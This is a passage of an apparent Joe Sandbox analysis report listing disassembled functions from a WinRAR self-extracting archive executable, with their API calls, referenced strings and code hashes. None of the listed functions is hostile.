Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1edc7a242c6f303e79851a22714c11e279823059ed2222e817ff31a8189a1f6b
Instruction ID: 71a08ccf37d799f595b69f72883afc51a3d1400a44713f9e0ce0197815c50a83
Opcode Fuzzy Hash: 1edc7a242c6f303e79851a22714c11e279823059ed2222e817ff31a8189a1f6b
Instruction Fuzzy Hash: 63F04F62E19A83C2FE55AF31F4443FAA360AF88B90F8C5435D95F46664DE3CD844C724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC56C8 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBC570D

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a12116f795de4817994ec8ecb31ecb63e8023060816e07705c80b17cdf8ec1ec
Instruction ID: 78b664f58145ec34fa43521cfb8306e49f21307b6792e6926f430458d02ffa45
Opcode Fuzzy Hash: a12116f795de4817994ec8ecb31ecb63e8023060816e07705c80b17cdf8ec1ec
Instruction Fuzzy Hash: 4F819D22E28693C5F710BF7598846FEA6A0BB48B98F884135DD4E53695CF3CE6428320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC503C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF75FBC586F), ref: 00007FF75FBC5099
WideCharToMultiByte.KERNEL32 ref: 00007FF75FBC5175
WriteFile.KERNEL32 ref: 00007FF75FBC519B
WriteFile.KERNEL32 ref: 00007FF75FBC51DA
GetLastError.KERNEL32 ref: 00007FF75FBC5212

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 84eb20b548abd459b2a43762cc13bfcb32aeff2f5a3404e642623a6f1e25acbc
Instruction ID: e42882b3e341778d207780ee4806ae3a81cbc7adc97bd5697b28bbae782d1306
Opcode Fuzzy Hash: 84eb20b548abd459b2a43762cc13bfcb32aeff2f5a3404e642623a6f1e25acbc
Instruction Fuzzy Hash: 1E518F32A24A92C5E710EF75D8483EEB7B0FB48B98F488135DE4A47699DF38D546C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC6264 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF75FBC628B
_set_statfp.LIBCMT ref: 00007FF75FBC62A6
_set_statfp.LIBCMT ref: 00007FF75FBC62C2
_set_statfp.LIBCMT ref: 00007FF75FBC62FE

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c8b051e27b68c6b043da78d9bda75542202bddee0f68464aef4353d6aee2ea9e
Instruction ID: b1d1b6c9ec8ce3a63bade74e2f07b5a6e32f0a299b3965585509886acfaabe72
Opcode Fuzzy Hash: c8b051e27b68c6b043da78d9bda75542202bddee0f68464aef4353d6aee2ea9e
Instruction Fuzzy Hash: F111A322F1CA83D1F7543979E446BFB91436F95370F8C8639E97E0A5DACE2DA4444124

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB2190 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00007FF75FBB21AD
GetMessageW.USER32 ref: 00007FF75FBB21C4
TranslateMessage.USER32 ref: 00007FF75FBB21CF
DispatchMessageW.USER32 ref: 00007FF75FBB21DA
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB21E8

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: 2382faf6a70c2a355994166d8c6e85122c42246cf4729fd9ef338276bf00fede
Instruction ID: fe4504abd965756abb496a6d7011bcb71faac03e77f82902c1009e12f2f1767c
Opcode Fuzzy Hash: 2382faf6a70c2a355994166d8c6e85122c42246cf4729fd9ef338276bf00fede
Instruction Fuzzy Hash: 75F06261B3848283FB10AB31F855BBAA225EFE4B05FC81030E64E81854DE3CD54ACB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA3334 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBA357A

Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE7F
Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE98

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBA364B

Strings

%s: %s, xrefs: 00007FF75FBA3584
%ls, xrefs: 00007FF75FBA33FC, 00007FF75FBA3415

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: LoadStringswprintf
String ID: %ls$%s: %s
API String ID: 1984293314-2259941744
Opcode ID: b51712049b80b3e9528931c18a2633c42c60fd4f9567b8ac4dab9cf633a351a4
Instruction ID: 9925f1af3354e59b4d76f86ae878ec071cec5b7602570c09d3ed6e67cab3dca4
Opcode Fuzzy Hash: b51712049b80b3e9528931c18a2633c42c60fd4f9567b8ac4dab9cf633a351a4
Instruction Fuzzy Hash: 1E812D21E8E5C3C2F66B397DC5682FD85829F81344EDC8336C68F46ED9DD2EA9449231

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB6E2C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF75FBB6E56
abort.LIBCMT ref: 00007FF75FBB70BA

Strings

csm, xrefs: 00007FF75FBB6FEA
csm, xrefs: 00007FF75FBB6E7B

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 5776aa0e9b111a11ba4543d8f5d6bc7e4cf726ece5945f364da8c139d66e783d
Instruction ID: 5364e905efb374045432566fd76d591a1fa54635c52c235759fe1da5b722001f
Opcode Fuzzy Hash: 5776aa0e9b111a11ba4543d8f5d6bc7e4cf726ece5945f364da8c139d66e783d
Instruction Fuzzy Hash: 4071DF326086C2C7DB61AF35D4406BDBBA1EB01B85F988136EE8C47B89CF2CD951C715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB8A1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBB8A43
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBB8C15

Strings

*, xrefs: 00007FF75FBB8B49
, xrefs: 00007FF75FBB8B9E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 1fe992e3b21ed6e277c25637e2d918cc9b498a8db712953a6122dc97eefb4a6e
Instruction ID: 1df4688fe5adc67b687059389f1ed628351f07876327c27846b5e6ef128428fd
Opcode Fuzzy Hash: 1fe992e3b21ed6e277c25637e2d918cc9b498a8db712953a6122dc97eefb4a6e
Instruction Fuzzy Hash: 4C5166B6D0C682CBE774AE3480443BEB7A0EB05B19F9C1135C64A45299CF7DDC83CA29

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC2328 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF75FBC239B
MultiByteToWideChar.KERNEL32 ref: 00007FF75FBC2464
GetStringTypeW.KERNEL32 ref: 00007FF75FBC247E

Strings

$%s, xrefs: 00007FF75FBC232A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: dcf1179f887acf3f03fae2aa746e4f8e497bec91aadf3a19f0aaa578cb231d04
Instruction ID: b9ac307aa1559b08e320dac59a6a1a026f5ac6da5d8ce5867fd30e13eaeb8788
Opcode Fuzzy Hash: dcf1179f887acf3f03fae2aa746e4f8e497bec91aadf3a19f0aaa578cb231d04
Instruction Fuzzy Hash: DB414B22B15AC6CAEF60AF35D8006EAA291FB44BA8F8C4635DA1D477D4DF3CE4418360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB7270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FBB5DE0: abort.LIBCMT ref: 00007FF75FBB5DF3

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF75FBB731A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF75FBB7346

Strings

csm, xrefs: 00007FF75FBB7446

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 66eca801a9d00b7d9e763ddd8c3af4c505d5db1633ec81abcdf18ecf3f2132e2
Instruction ID: e0142cfd24b380751e5cbb2062c969fef0270445c6a422caa9655af00fbd64d0
Opcode Fuzzy Hash: 66eca801a9d00b7d9e763ddd8c3af4c505d5db1633ec81abcdf18ecf3f2132e2
Instruction Fuzzy Hash: 17516E72618782C7D620BF25E4406AEB7A4FB89B90F980634DB8D07B55CF3CE891CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC5468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF75FBC554E
WriteFile.KERNEL32 ref: 00007FF75FBC5581
GetLastError.KERNEL32 ref: 00007FF75FBC55A3

Strings

U, xrefs: 00007FF75FBC552C

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: a28a4e46a9ca9fab7cc56e0cc731ca783139516c82e2ed666e11d04f179ad998
Instruction ID: 16055e8805ae0653eda920f8d97321a2b17d02e5604e5d980acbe71133ccbe55
Opcode Fuzzy Hash: a28a4e46a9ca9fab7cc56e0cc731ca783139516c82e2ed666e11d04f179ad998
Instruction Fuzzy Hash: 5341A522B19A82C2EB209F25E8443FBA761F788794F894031EE4D87794DF3CD541C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE778 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF75FBAE7A1
GetObjectW.GDI32 ref: 00007FF75FBAE7CF
ReleaseDC.USER32 ref: 00007FF75FBAE883

Strings

, xrefs: 00007FF75FBAE81B

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: d898f78adfb05b648df438d709e785208bff370aef0046d885f520d2dd6bd53f
Instruction ID: 6b957a1bc75adaa6bf0c2af1b9732f2ed85620713ae1d175da5b0fbee140dd02
Opcode Fuzzy Hash: d898f78adfb05b648df438d709e785208bff370aef0046d885f520d2dd6bd53f
Instruction Fuzzy Hash: 23314C75A1878286DB04AF12B81866EF7A5FB89FD5F844035ED8A43B18CF3CD44ACB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE9E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB913C0: GetDlgItem.USER32 ref: 00007FF75FB91410
Part of subcall function 00007FF75FB913C0: SetDlgItemTextW.USER32 ref: 00007FF75FB9142C

EndDialog.USER32 ref: 00007FF75FBAEA97
GetDlgItemTextW.USER32 ref: 00007FF75FBAEAB5
SetDlgItemTextW.USER32 ref: 00007FF75FBAEAD4

Strings

ASKNEXTVOL, xrefs: 00007FF75FBAEA03

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$Text$Dialog
String ID: ASKNEXTVOL
API String ID: 2638039312-3402441367
Opcode ID: 7190d999122fb7ef0644a676578768d06a5f9d004810f71a5d751715da3a6182
Instruction ID: 5bda2907502b6dd2426b6a33602e0f9f6bcfb7e6b4f30b8a96f5a945bc594810
Opcode Fuzzy Hash: 7190d999122fb7ef0644a676578768d06a5f9d004810f71a5d751715da3a6182
Instruction Fuzzy Hash: 6B316D65A087C2C2E714BB66E5443F9A7A0FB85FC0F9C4036DA8D07795DE3EE9458360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAF040 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB913C0: GetDlgItem.USER32 ref: 00007FF75FB91410
Part of subcall function 00007FF75FB913C0: SetDlgItemTextW.USER32 ref: 00007FF75FB9142C

EndDialog.USER32 ref: 00007FF75FBAF0A3
GetDlgItemTextW.USER32 ref: 00007FF75FBAF0BE
SetDlgItemTextW.USER32 ref: 00007FF75FBAF0F1

Strings

GETPASSWORD1, xrefs: 00007FF75FBAF05C

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$Text$Dialog
String ID: GETPASSWORD1
API String ID: 2638039312-3292211884
Opcode ID: 38551b2ca09f9753cba606584b00be4ca3281cb5be7db73114003ba1b6517f11
Instruction ID: cf7e21f3d04a868d37cd69bb8a985190204ce8227e86668ca38805819acd390c
Opcode Fuzzy Hash: 38551b2ca09f9753cba606584b00be4ca3281cb5be7db73114003ba1b6517f11
Instruction Fuzzy Hash: 14217F32A18682C6E761AF21E0807FDA3A5FB447C0FA84035DA8D43699DF3DD9198760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAEF38 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF75FBAEF9B
RegQueryValueExW.ADVAPI32 ref: 00007FF75FBAEFDB
RegCloseKey.ADVAPI32 ref: 00007FF75FBAF019

Strings

Software\WinRAR SFX, xrefs: 00007FF75FBAEF8D

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\WinRAR SFX
API String ID: 3677997916-754673328
Opcode ID: bd67bf4eca4e96bbfb7823fd60402b03fb1a23a033adf12eadccf8680c330e25
Instruction ID: 92b300b9c58a65681f682e18dd6564f3eb7120d1a87a15050ef7b099ed804d2a
Opcode Fuzzy Hash: bd67bf4eca4e96bbfb7823fd60402b03fb1a23a033adf12eadccf8680c330e25
Instruction Fuzzy Hash: 3C214172618AC696E730AF34E8406EEB3A4FB44784F844135EB8D47A99DF2CD544C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2A9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF75FBA2AE7
CreateSemaphoreW.KERNEL32 ref: 00007FF75FBA2AF7
